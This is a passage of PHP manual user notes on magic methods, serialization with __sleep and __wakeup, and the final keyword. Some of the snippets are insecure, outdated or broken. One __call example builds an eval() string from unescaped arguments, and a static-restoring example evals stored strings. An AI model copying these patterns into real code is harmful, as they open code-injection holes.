        $this->y = (int) $y;
        }

    function __invoke() {
        $args = func_get_args();
        $total_distance = 0;
        $current_loc = $this;
        foreach ($args as $arg) {
            if (is_object($arg) and (get_class($arg) === get_class($this))) {
                $total_distance += sqrt(pow($arg->x - $current_loc->x, 2) + pow((int) $arg->y - $current_loc->y, 2));
                $current_loc = $arg;
                }
            else {
                trigger_error("Arguments must be objects of this class.");
                return;
                }
            }
        return $total_distance;
        }

    }

$p1 = new point(1,1);
$p2 = new point(23,-6);
$p3 = new point(15,20);
echo $p1($p2,$p3,$p1); // round trip 73.89

?>

Functionally, __invoke() can also be used to mimic the use of variable functions.  Sadly, attempting any calling of __invoke() on a static level will produce a fatal error.
moechofe 25-Jul-2009 11:47
__invoke() cannot be used to create fluente interface like in the "D language"

<?php
class CallableClass
{
    var $next;
    function __invoke($x)
    {
        var_dump($x);
        return $this;
   }
}
$obj = new CallableClass;
$obj->next = new CallableClass;
var_dump( $obj(5) ); // OK!
var_dump( $obj(5)(6) ); // Parse error
var_dump( $obj->next(7) ); // Fatal error: Call to undefined method CallableClass::next()
var_dump( {$obj->next}(7) ); // Parse error
?>
zach at bygeekz dot com 25-May-2009 09:45
Try this one on.

<?php
$ret = new Test(true);
var_dump((bool)(string)$ret);
var_dump($ret);
$ret=null;
$ret = new Test();
var_dump((bool)(string)$ret);
var_dump($ret);

class Test {
    protected $state=null;
    function __construct($state=null) {
        $this->state = $state;
    }
    function __toString() {
        if ($this->state) { return "1"; } else { return "0"; }
    }
}
?>

You could for instance do..

if(!(bool)(string)$ret) { do_something!; }

Alternatively, just make state public, and check it.

if(!$ret->state) {}.

There is no automatic way I have found aside from some internal state check to verify a class. It will always return an object. The only way around that is to force it out to string either where I did, or $ret = (string) new Test(); then test the bool of your output..

if (!$ret) { echo "noooo!"; }

But now you have no calling methods, so I hope you passed some data in to get a usable string out.

Of course, if your class isn't named test, you can add a method..

public function test() {
     return $this->state;
}

Logically that will work regardless of the _toString(), but I had hoped to post this to help others see that there are a multitude of ways to check the validity of a class once it is loaded. In __construct you can add any number of checks and set your state appropriately.
rudie-de-hotblocks at osu1 dot php dot net 09-Apr-2009 03:35
Note also that the constructor is executed also, and before __set_state(), making this magic function less magic, imho, (except for the ability to assign private members).
muratyaman at gmail dot com 07-Jan-2009 04:54
Regarding __toString:

<?php
class my_tag_A{

    public $id='';
    public $href='';
    public $target='';
    public $class='';

    public $label='';

    function __construct($href, $label){
        $this->href = $href;
        $this->label = $label;
    }

    public function __toString(){
        return '<a '.$this->nz_arr(array('id', 'href', 'target', 'class')). ' >' . $this->label . '</a>';
    }

    function nz_arr($attrib_arr){
        $s = '';
        foreach($attrib_arr as $attrib){
            $s .= $this->nz($attrib);
        }
        return $s;
    }

    /**
     * Print the tag attribute if it is not blank, such as id="$this->id"
     * @param string $attrib
     * @return string
     */
    function nz($attrib){
        $s = '';
        if($this->$attrib != '') $s = $attrib .' = "' . $this->$attrib . '"';
        return $s;
    }

    //This causes RECURSION because of parsing between double quotes. This is a very UNEXPECTED behaviour!
    function nz_($attrib){
        $s = '';
        if($this->$attrib != '') $s = "$attrib = \"$this->$attrib\"";
        return $s;
    }

}//end  class

//usage
$a = new my_tag_A('abc.php', 'ABC'); $a->target = '_blank';
echo $a;
//prints:
//    <a href="abc.php" target="_blank" >ABC</a>
?>
jsnell at e-normous dot com 03-Dec-2008 11:01
Be very careful to define __set_state() in classes which inherit from a parent using it, as the static __set_state() call will be called for any children.  If you are not careful, you will end up with an object of the wrong type.  Here is an example:

<?php
class A
{
    public $var1;

    public static function __set_state($an_array)
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        return $obj;
    }
}

class B extends A {
}

$b = new B;
$b->var1 = 5;

eval('$new_b = ' . var_export($b, true) . ';');
var_dump($new_b);
/*
object(A)#2 (1) {
  ["var1"]=>
  int(5)
}
*/
?>
patricknegri at gmail dot com 27-Oct-2008 12:57
Imports Pattern - Extend Classes in Real Time:

<?php
class BaseClass
{
    var $__imported;
    var $__imported_functions;

    function __construct()
    {
        $__imported = Array();
        $__imported_functions = Array();
    }

    function Imports($object)
    {
        $new_imports = new $object();
        $imports_name = get_class($new_imports);
        array_push( $__imported, Array($imports_name,$new_imports) );
        $imports_function = get_class_methods($new_imports);
        foreach ($imports_function as $i=>$function_name)
        {
            $this->__imported_functions[$function_name] = &$new_imports;
        }
    }

    function __call($m, $a)
    {
        if (array_key_exists($m,$this->__imported_functions))
        {
            return call_user_func_array(Array($this->__imported_functions[$m],$m),$a);
        }
        throw new ErrorException ('Call to Undefined Method/Class Function', 0, E_ERROR);
    }
}

class ExternalFunc
{
    function TestB()
    {
        echo "External Imported!";
    }
}

class B extends BaseClass
{
    function __construct()
    {
        $this->Imports("ExternalFunc");
    }

    function Msg()
    {
        echo "Hello world<br />";
    }
}

$b = new B();
$b->Msg();
// or call $b->Imports("ExternalFunc");
$b->TestB();
//$b->TestB(1,3,4);
?>
jon at webignition dot net 03-Oct-2008 04:26
The __toString() method is extremely useful for converting class attribute names and values into common string representations of data (of which there are many choices). I mention this as previous references to __toString() refer only to debugging uses.

I have previously used the __toString() method in the following ways:

 - representing a data-holding object as:
   - XML
   - raw POST data
   - a GET query string
   - header name:value pairs

 - representing a custom mail object as an actual email (headers then body, all correctly represented)

When creating a class, consider what possible standard string representations are available and, of those, which would be the most relevant with respect to the purpose of the class.

Being able to represent data-holding objects in standardised string forms makes it much easier for your internal representations of data to be shared in an interoperable way with other applications.
wbcarts at juno dot com 03-Oct-2008 01:12
To be helpful, the __toString() method should return the class name and the state of all its properties inside square brackets.

<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }

  public function __toString() {      // the function we're interested in...
    return "Point[x=$this->x, y=$this->y]";
  }
}

$point1 = new Point(10, 10);
$point2 = new Point(50, 50);
echo $point1 . '<br>';
echo $point2 . '<br><br>';
?>

Point[x=10, y=10]
Point[x=50, y=50]

Classes that include objects, should call that objects __toString() method.

<?php
class Line {
  protected $start, $end;

  public function __construct(Point $p1, Point $p2){
    $this->start = $p1;
    $this->end = $p2;
  }

  public function __toString() {      // the function we're interested in...
    return 'Line[start=' . $this->start->__toString() .  // call __toString()
     ', end=' . $this->end->__toString() . ']';          // call __toString()
  }
}

echo (new Line($point1, $point2));
?>

Line[start=Point[x=10, y=10], end=Point[x=50, y=50]]
rc @ nospam @ vorklift dot sea oh em 07-Aug-2008 04:03
A note: __wakeup occurs before saving the unserialization of an session object.

Therefore, $_SESSION['var']::__wakeup() setting $_SESSION['var'] = new Class() will fail and $_SESSION['var'] will remain unchanged.

This means that if you have a pseudo-temporary object that contains a class to auto revert to, you have to revert that session object in the initialization of the website rather than via a __wakeup() script.
Anonymous 01-Jun-2008 01:24
Serializing objects is problematic with references. This is solved redefining the __sleep() magic method. This is also problematic when parent class has private variables since the parent object is not accessible nor its private variables from within the child object.

I found a solution that seems working for classes that implements this __sleep() method, and for its subclasses. Without more work in subclasses. The inheritance system does the trick.

Recursively __sleep() call parent' __sleep() and return the whole array of variables of the object instance to be serialized.

<?php
class foo {
}

class a {
  private $var1;

  function __construct(foo &$obj = NULL) {
    $this->var1 = &$obj;
  }

  /** Return its variables array, if its parent exists and the __sleep method is accessible, call it and push the result into the array and return the whole thing. */
  public function __sleep() {
    $a = array_keys(get_object_vars(&$this));
    if (method_exists(parent, '__sleep')) {
      $p = parent::__sleep();
      array_push($a, $p);
    };
    return $a;
  }
}

class b extends a {
  function __construct(foo &$obj = NULL) {
    parent::__construct($obj);
  }
}

session_start();
$myfoo = &new foo();
$myb = &new b($myfoo);
$myb = unserialize(serialize(&$myb));
?>

This should work, I haven't tested deeper.
yanleech at gmail dot com 10-May-2008 03:24
Maybe we can using unserialize() & __wakeup() instead "new" when creating a new instance of class.

Consider following codes:

class foo
{
    static public $WAKEUP_STR = 'O:3:"foo":0:{}';
    public function foo(){}
    public function bar(){}
}

$foo = unserialize(foo::$WAKEUP_STR);
michal dot kocarek at seznam dot cz 18-Apr-2008 11:34
Remember that setters and getters (__set, __get) will work in your class as long as you NOT SET the property with given name.

If you still want to have the public property definition in the class source code (phpDocumentor, editor code completition, or any other reason) when using these magic methods, simply unset() your public properties inside the constructor.
__set/__get function will be called and code reader will see at first sight, which public properties are available.

Example:
<?php
class user {
   /**
    * @var int Gets and sets the user ID
    */
   public $UserID;
   private $_userID;

   public function __construct() {

      // All the magic is in single line:
      // We unset public property, so our setters and getters
      // are used and phpDoc and editors with code completition are happy
      unset($this->UserID);

   }

   public function __set($key, $value) {
      // assign value for key UserID to _userID property
   }

   public function __get($key) {
      // return value of _userID for UserID property
   }
}
?>
dhuseby domain getback tld com 01-Mar-2008 03:22
The above hint for using array_keys((array)$obj) got me investigating how to get __sleep to really work with object hierarchies.

With PHP 5.2.3, If you want to serialize an object that is part of an object hierarchy and you want to selectively serialize members (public, private, and protected) by manually specifying the array of members, there are a few simple rules for naming members that you must follow:

1. public members should be named using just their member name, like so:

<?php
class Foo {
    public $bar;

    public function __sleep() {
        return array("bar");
    }
}
?>

2. protected members should be named using "\0" . "*" . "\0" . member name, like so:

<?php
class Foo {
    protected $bar;

    public function __sleep() {
        return array("\0*\0bar");
    }
}
?>

3. private members should be named using "\0" . class name . "\0" . member name, like so:

<?php
class Foo {
    private $bar;

    public function __sleep() {
        return array("\0Foo\0bar");
    }
}
?>

So with this information let us serialize a class hierarchy correctly:

<?php

class Base {
    private $foo = "foo_value";
    protected $bar = "bar_value";

    public function __sleep() {
        return array("\0Base\0foo", "\0*\0bar");
    }
}

class Derived extends Base {
    public $baz = "baz_value";
    private $boo = "boo_value";

    public function __sleep() {
        // we have to merge our members with our parent's
        return array_merge(array("baz", "\0Derived\0boo"), parent::__sleep());
    }
}

class Leaf extends Derived {
    private $qux = "qux_value";
    protected $zaz = "zaz_value";
    public $blah = "blah_value";

    public function __sleep() {
        // again, merge our members with our parent's
        return array_merge(array("\0Leaf\0qux", "\0*\0zaz", "blah"), parent::__sleep());
    }
}

// test it
$test = new Leaf();
$s = serialize($test);
$test2 = unserialize($s);
echo $s;
print_r($test);
print_r($test2);

?>

Now if you comment out all of the __sleep() functions and output the serialized string, you will see that the output doesn't change.  The most important part of course is that with the proper __sleep() functions, we can unserialize the string and get a properly set up object.

I hope this solves the mystery for everybody.  __sleep() does work, if you use it correctly :-)
andrew dot minerd at sellingsource dot com 08-Nov-2007 04:55
Until __sleep is "fixed" (here's hoping), a function that will return ALL members of a given object -- public, protected, AND private:

<?php
        public function getPropertyNames(array $filter = NULL)
        {
            $rc = new ReflectionObject($this);
            $names = array();

            while ($rc instanceof ReflectionClass)
            {
                foreach ($rc->getProperties() as $prop)
                {
                    if (!$filter || !in_array($prop->getName(), $filter))
                        $names[] = $prop->getName();
                }

                $rc = $rc->getParentClass();
            }

            return $names;
        }
?>
amir_abiri at ipcmedia dot com 24-Jul-2007 01:58
Another small thing that is important to note about __sleep() and privte member variables:

<?php
class A
{
  private $a;

  public function __construct()
  {
    $this->a = 1;
  }
}

class B extends A
{
  protected $b;

  public function __construct()
  {
    parent::__construct();
    $this->b = 2;
  }

  function __sleep()
  {
    return array('a', 'b');
  }
}

serialize(new B);
?>

result:
Notice: serialize(): "a" returned as member variable from __sleep() but does not exist in ...

To summerize: in a given class hierarchy in which parent classes contain private member variables, those variables are serialized when __sleep() is not defined. However, once __sleep() is defined, there is no way to make those private member variables serialized as well. From that point on, serialization is performed from the visibility scope of the subclass.

It is particularly important to note this little quirk when designing base classes that their derivables may be serialized, or when subclassing an external library class.
alejandro dot gama at gmail dot com 09-May-2007 04:47
Referering my previus note: there was an error in the code. But i find a better way:

<?
session_start();

class Classes{
  private $name;
  private $statics;

  function __construct($name){
    $this->name=$name;
    $this->statics=array();
  }

  function setStatic($k,$v){
    if(!is_resource($v))
      $this->statics[$k]=$v;
  }

  function __wakeup(){
    foreach($this->statics as $k=>$v)
      eval($this->name."::\$".$k."=\$this->statics['".$k."'];");
  }
}

function storeStaticAttributes(){
  $classes=get_declared_classes();
  foreach($classes as $name){
    $reflect=new ReflectionClass($name);

    if($reflect->isUserDefined()){
      $statics=$reflect->getStaticProperties();

      if(empty($_SESSION["_classes"]))
        $_SESSION["_classes"]=array();

      if(empty($_SESSION["_classes"][$name]))
        $_SESSION["_classes"][$name]=new Classes($name);

      foreach($statics as $k=>$v)
        $_SESSION["_classes"][$name]->setStatic($k,$v);
    }
  }
}
register_shutdown_function('storeStaticAttributes');
?>
Travis Swicegood 08-May-2007 04:43
There is no need to use eval() to mimic mixins (i.e., multiple inheritance) within PHP 5.  You only need to:

<?php

class MyClass
{
    private $_obj = null;
    public function __construct($obj)
    {
        $this->_obj = $obj;
    }

    public function __call($method, $args)
    {
        if (!method_exists($this->_obj, $method)) {
            throw new Exception("unknown method [$method]");
        }

        return call_user_func_array(
            array($this->_obj, $method),
            $args
        );
    }
}

?>

You could just as easily add an addMixin() method that would allow you to add multiple objects to an array, and then iterate over that array until you found the right method.  As noted, these are referred to as a Mixins in other languages.
adar at darkpoetry dot de 05-May-2007 03:09
Maybe not really new and all in all definitely not the best solution,but if you cant extend a class (if your class alreay extends an abstract or other things like that) you can 'fake' a extend.

<?php
class MyClass
        extends SomeAbstractUnknownClass {

    private $classObject;

    public function __construct ( classObject $classToExtend ) {
        $this->classObject = $classToExtend;
    }

    public function __call($func, $var) {
        if ( !count($var) ) {
            return $this->classObject->$func($var);
        } else {
            $str = '';
            $values = array_values($var);
            for ( $i=0; $i<count($values); $i++ ) {
                $str .= "'".$values[$i]."' ,";
            }
            $str = substr($str, 0, -2);
            return eval('return $this->classObject->'.$func.'('.$str.');');
        }
    }
}
?>

So if you'll do a $myClass->unknownMethod() and it is found neither in MyClass nor in SomeAbstractUnknownClass, MyClass will try to call this method in $classObject.

I use this for 'extending' a UserObject-Class which already extends an other one.

Better solutions are always welcome ;)
Dérico Filho 23-Jan-2007 04:33
Since PHP 5.2.0, you'll always get an error like this:
"Object of class foo could not be converted to string"

When one tries to use an object as string, for instance:

class Test{}
echo new Test();

Thus, one way to avoid this problem is to programme the magic method __toString.

However, in the older versions, it would output a string saying that it was an object together a unique obj id. Therefore, the __toString() method must comply with this behaviour.

My suggestion:

class Test{
    function __toString(){
        if(!isset($this->__uniqid))
            $this->__uniqid = md5(uniqid(rand(), true));
        return(get_class($this)."@".$this->__uniqid);
    }

}

echo new Test();

would output something like this:

Test@6006ba04f5569544c10a588b04849cf7
jstubbs at work-at dot co dot jp 02-Sep-2006 09:32
$myclass->foo['bar'] = 'baz';

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);

Therefore, the above won't do anything if your __get implementation resembles this:

function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}

You will actually need to set the value in __get and return that, as in the following code:

function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
taylorbarstow at google's mail service 15-May-2006 10:54
I've just come accross something interesting relating to storing PHP5 objects in a session.  If you don't provide an __autoload(), then you MUST load the class definition before calling session_start().  I guess that when you call session_start(), any objects in the session are unserialized then and there and placed into $_SESSION.  If you don't provide the class definition before calling session_start(), your object will get the class __PHP_Incomplete_Class, and you won't be able to use it for anything.

Examples:

<?php
session_start();
require_once 'MyClass.php';
$obj = new MyClass;
$_SESSION['obj'] = $obj;
?>

Works fine.  Then on a subsequent page load:

<?php
session_start();
require_once 'MyClass.php';
$_SESSION['obj']->callSomeMethod();
?>

Fatal error:  The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition.

But if you do this instead, it works fine:

<?php
require_once 'MyClass.php';
session_start();
$_SESSION['obj']->callSomeMethod();
?>

Hopefully in some future release of PHP, __PHP_Incomplete_Class will be smart enough to check for a class definition at time of use (method call or property operation), and, if the class exists, magically "complete" itself and turn into the desired object.
rayRO 02-Apr-2006 06:55
If you use the Magical Method '__set()', be shure that the call of
<?php
$myobject->test['myarray'] = 'data';
?>
will not appear!

For that u have to do it the fine way if you want to use __set Method ;)
<?php
$myobject->test = array('myarray' => 'data');
?>

If a Variable is already set, the __set Magic Method already wont appear!

My first solution was to use a Caller Class.
With that, i ever knew which Module i currently use!
But who needs it... :]
There are quiet better solutions for this...
Here's the Code:

<?php
class Caller {
    public $caller;
    public $module;

    function __call($funcname, $args = array()) {
        $this->setModuleInformation();

        if (is_object($this->caller) && function_exists('call_user_func_array'))
            $return = call_user_func_array(array(&$this->caller, $funcname), $args);
        else
            trigger_error("Call to Function with call_user_func_array failed", E_USER_ERROR);

        $this->unsetModuleInformation();
        return $return;
    }

    function __construct($callerClassName = false, $callerModuleName = 'Webboard') {
        if ($callerClassName == false)
            trigger_error('No Classname', E_USER_ERROR);

        $this->module = $callerModuleName;

        if (class_exists($callerClassName))
            $this->caller = new $callerClassName();
        else
            trigger_error('Class not exists: \''.$callerClassName.'\'', E_USER_ERROR);

        if (is_object($this->caller))
        {
            $this->setModuleInformation();
            if (method_exists($this->caller, '__init'))
                $this->caller->__init();
            $this->unsetModuleInformation();
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
    }

    function __destruct() {
        $this->setModuleInformation();
        if (method_exists($this->caller, '__deinit'))
            $this->caller->__deinit();
        $this->unsetModuleInformation();
    }

    function __isset($isset) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $return = isset($this->caller->{$isset});
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function __unset($unset) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$unset}))
                unset($this->caller->{$unset});
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __set($set, $val) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $this->caller->{$set} = $val;
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __get($get) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$get}))
                $return = $this->caller->{$get};
            else
                $return = false;
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function setModuleInformation() {
        $this->caller->module = $this->module;
    }

    function unsetModuleInformation() {
        $this->caller->module = NULL;
    }
}

// Well this can be a Config Class?
class Config {
    public $module;

    public $test;

    function __construct()
    {
        print('Constructor will have no Module Information... Use __init() instead!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
        $this->test = '123';
    }

    function __init()
    {
        print('Using of __init()!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
    }

    function testFunction($test = false)
    {
        if ($test != false)
            $this->test = $test;
    }
}

echo('<pre>');
$wow = new Caller('Config', 'Guestbook');
print_r($wow->test);
print('<br />');
print('<br />');
$wow->test = '456';
print_r($wow->test);
print('<br />');
print('<br />');
$wow->testFunction('789');
print_r($wow->test);
print('<br />');
print('<br />');
print_r($wow->module);
echo('</pre>');
?>

Outputs something Like:

Constructor will have no Module Information... Use __init() instead!
-->  <--

Using of __init()!
--> Guestbook <--

123

456

789

Guestbook
ksamvel at gmail dot com 10-Feb-2006 06:29
To copy base part of derived class appropriate method in base should be defined. E.g.:

  class A {
    public function setAVar( $oAVar) { $this->oAVar = $oAVar; }
    public function getAVar() { return $this->oAVar; }

    public function copyA( &$roDest) {
      if( $roDest instanceof A)
        $this->oAVar = $roDest->oAVar;
    }

    private $oAVar;
  }

  class B extends A {
    public function setBVar( $oBVar) { $this->oBVar = $oBVar; }
    public function getBVar() { return $this->oBVar; }

    private $oBVar;
  }

  $oA = new A();
  $oB = new B();

  $oA->setAVar( 4);

  $oB->setAVar( 5);
  $oB->setBVar( 6);
  echo "oA::oAVar " . $oA->getAVar() . "<br>";
  echo "oB::oAVar " . $oB->getAVar() . "<br>";
  echo "oB::oBVar " . $oB->getBVar() . "<br>";
  echo "<br>";

  $oB->copyA( $oA);

  echo "oA::oAVar " . $oA->getAVar() . "<br>";
  echo "oB::oAVar " . $oB->getAVar() . "<br>";
  echo "oB::oBVar " . $oB->getBVar() . "<br>";

Output:

oA::oAVar 4
oB::oAVar 5
oB::oBVar 6

oA::oAVar 4
oB::oAVar 4
oB::oBVar 6
b dot schoppmeier at bas-consult dot de 26-Jan-2006 12:18
The sequence of events regarding __sleep and __destruct is unusual __ as __destruct is called before __sleep. The following code snippet:

<?php
$sequence = 0;
class foo {
    public $stuff;
    public function __construct($param) {
        global $sequence;
        echo "Seq: ", $sequence++, " - constructor\n";
        $this->stuff = $param;
    }
    public function __destruct() {
        global $sequence;
        echo "Seq: ", $sequence++, " - destructor\n";
    }
    public function __sleep() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __sleep\n";
        return array("stuff");
    }
    public function __wakeup() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __wakeup\n";
    }
}
session_start();
$_SESSION["obj"] = new foo("A foo");
?>

yields the output:

Seq: 0 - constructor
Seq: 1 - destructor
Seq: 2 - __sleep

Only when you end your script with a call to session_write_close() as in:

<?php
$sequence = 0;
class foo {
    public $stuff;
    public function __construct($param) {
        global $sequence;
        echo "Seq: ", $sequence++, " - constructor\n";
        $this->stuff = $param;
    }
    public function __destruct() {
        global $sequence;
        echo "Seq: ", $sequence++, " - destructor\n";
    }
    public function __sleep() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __sleep\n";
        return array("stuff");
    }
    public function __wakeup() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __wakeup\n";
    }
}
session_start();
$_SESSION["obj"] = new foo("A foo");
session_write_close();
?>

the sequence is as common sense would expect it to be as the following output shows:

Seq: 0 - constructor
Seq: 1 - __sleep
Seq: 2 - destructor
docey 09-Dec-2005 05:44
about __sleep and _wakeup, consider using a method like this:

class core
{

 var $sub_core; //ref of subcore
 var $_sleep_subcore; // place where serialize version of sub_core will be stored

 function core(){
  $this->sub_core = new sub_core();
  return true;
 }

 function __wakeup()
 {
  // on wakeup of core, core unserializes sub_core
  // wich it had stored when it was serialized itself
  $this->sub_core = unserialize($this->_sleep_subcore);
  return true;
 }

 function __sleep()
 {
  // sub_core will be serialized when core is serialized.
  // the serialized subcore will be stored as a string inside core.
   $this->_sleep_subcore = serialize($this->sub_core);
   $return_arr[] = "_sleep_subcore";
   return $return_arr;
 }

}

class sub_core
{
 var $info;

 function sub_core()
 {
  $this->info["somedata"] = "somedata overhere"
 }

 function __wakeup()
 {
  return true;
 }

 function __sleep()
 {
  $return_arr[] = "info"
  return $return_arr;
 }

}

this way subcore is being serialized by core when core is being serialized. subcore handles its own data and core stores it as a serialize string inside itself. on wakeup core unserializes subcore.

this may have a performance cost, but if you have many objects connected this way this is the best way of serializing them. you only need to serialize the the main object wich will serialize all those below which will serialize all those below them again. in effect causing a sort of chainreaction in wich each object takes care of its own info.

offcoarse you always need to store the eventualy serialized string in a safe place. somebody got experience with this way of __wakeup and __sleep.

works in PHP4&5
martin dot goldinger at netserver dot ch 15-Aug-2005 01:47
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
    function __sleep()
    {
        $vars = (array)$this;
        foreach ($vars as $key => $val)
        {
            if (is_null($val))
            {
                unset($vars[$key]);
            }
        }
        return array_keys($vars);
    }
};
?>
jeffxlevy at gmail dot com 14-Aug-2005 03:26
Intriguing what happens when __sleep() and __wakeup() and sessions() are mixed. I had a hunch that, as session data is serialized, __sleep would be called when an object, or whatever, is stored in _SESSION. true. The same hunch applied when session_start() was called. Would __wakeup() be called? True. Very helpful, specifically as I'm building massive objects (well, lots of simple objects stored in sessions), and need lots of automated tasks (potentially) reloaded at "wakeup" time. (for instance, restarting a database session/connection).
mastabog at hotmail dot com 13-Aug-2005 02:06
In reply to krisj1010 at gmail.com below:

__sleep() handles protected/private properties very well. You should never rely on get_class_vars() to retrieve property names since this function only returns the public properties. Use the Reflection API instead for that purpose. Better yet, if you know which ones you want to save it is always faster to specify the return array manually.
ddavenport at newagedigital dot com 27-Jan-2005 08:09
One of the principles of OOP is encapsulation--the idea that an object should handle its own data and no others'.  Asking base classes to take care of subclasses' data, esp considering that a class can't possibly know how many dozens of ways it will be extended, is irresponsible and dangerous.

Consider the following...

<?php
class SomeStupidStorageClass
{
  public function getContents($pos, $len) { ...stuff... }
}

class CryptedStorageClass extends SomeStupidStorageClass
{
  private $decrypted_block;
  public function getContents($pos, $len) { ...decrypt... }
}
?>

If SomeStupidStorageClass decided to serialize its subclasses' data as well as its own, a portion of what was once an encrypted thingie could be stored, in the clear, wherever the thingie was stored.  Obviously, CryptedStorageClass would never have chosen this...but it had to either know how to serialize its parent class's data without calling parent::_sleep(), or let the base class do what it wanted to.

Considering encapsulation again, no class should have to know how the parent handles its own private data.  And it certainly shouldn't have to worry that users will find a way to break access controls in the name of convenience.

If a class wants both to have private/protected data and to survive serialization, it should have its own __sleep() method which asks the parent to report its own fields and then adds to the list if applicable.  Like so....

<?php

class BetterClass
{
  private $content;

  public function __sleep()
  {
    return array('basedata1', 'basedata2');
  }

  public function getContents() { ...stuff... }
}

class BetterDerivedClass extends BetterClass
{
  private $decrypted_block;

  public function __sleep()
  {
    return parent::__sleep();
  }

  public function getContents() { ...decrypt... }
}

?>

The derived class has better control over its data, and we don't have to worry about something being stored that shouldn't be.
krisj1010 at gmail.com 09-Jan-2005 09:09
If you are attempting to write an abstract/base class which automates the __sleep process in PHP5 you will run into some trouble if the subclasses which are being serialized have private/protected variables you need to be serialized.

The reason is, even though get_class($this) within the base class will return the subclass -- get_class_vars(get_class($this)) will *not* return the subclass' protected/private variables.  Which makes sense -- using OO principles.

However, when automating __sleep it becomes necissary to have access to the private/protected subclass variables because their names have to be returned by __sleep.

So here is the work around:
<?php
public function __sleep()
{
 ... code ...
$sleepVars    = array_keys((array)$this);
return $sleepVars;
}
?>

Even though array_keys includes more information about the variable names than just the variable names -- it still seems to work appropriately.


Final Keyword

PHP 5 introduces the final keyword, which prevents child classes from overriding a method by prefixing the definition with final. If the class itself is being defined final then it cannot be extended.

Example #1 Final methods example

<?php
class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
   public function moreTesting() {
       echo "ChildClass::moreTesting() called\n";
   }
}
// Results in Fatal error: Cannot override final method BaseClass::moreTesting()
?>

Example #2 Final class example

<?php
final class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   // Here it doesn't matter if you specify the function as final or not
   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
}
// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass)
?>

Note: Properties cannot be declared final, only classes and methods may be declared as final.

User Contributed Notes

mattsch at gmail dot com 04-Jun-2014 04:24
You can use final methods to replace class constants.  The reason for this is you cannot unit test a class constant used in another class in isolation because you cannot mock a constant.   Final methods allow you to have the same functionality as a constant while keeping your code loosely coupled.

Tight coupling example (bad to use constants):

<?php
interface FooInterface
{
}

class Foo implements FooInterface
{
    const BAR = 1;

    public function __construct()
    {
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class cannot be unit tested in isolation because the actual class Foo must also be loaded to get the value of Foo::BAR
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return Foo::BAR;
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>

Loose coupling example (eliminated constant usage):

<?php
interface FooInterface
{
    public function bar();
}

class Foo implements FooInterface
{
    public function __construct()
    {
    }

    final public function bar()
    {
        return 1;
    }
}

interface BazInterface
{
    public function getFooBar();
}

// This class can be unit tested in isolation because class Foo does not need to be loaded by mocking FooInterface and calling the final bar method.
class Baz implements BazInterface
{
    private $foo;

    public function __construct(FooInterface $foo)
    {
        $this->foo = $foo;
    }

    public function getFooBar()
    {
        return $this->foo->bar();
    }

}

$foo = new Foo();
$baz = new Baz($foo);
$bar = $baz->getFooBar();
?>
cottton at i-stats dot net 13-May-2014 03:02
imo good to know:
<?php
class BaseClass
{
    protected static $var = 'i belong to BaseClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
    final public static function dontCopyMe($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

class ChildClass extends BaseClass
{
    protected static $var = 'i belong to ChildClass';

    public static function test()
    {
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and this is my var: `'.self::$var.'`<br>'.
            'and this is my parent var: `'.parent::$var.'`';
    }
    public static function changeVar($val)
    {
        self::$var = $val;
        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>'.
            'but the parent $var is still: `'.parent::$var.'`';
    }
    public static function dontCopyMe($val) // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
    {
        self::$var = $val;
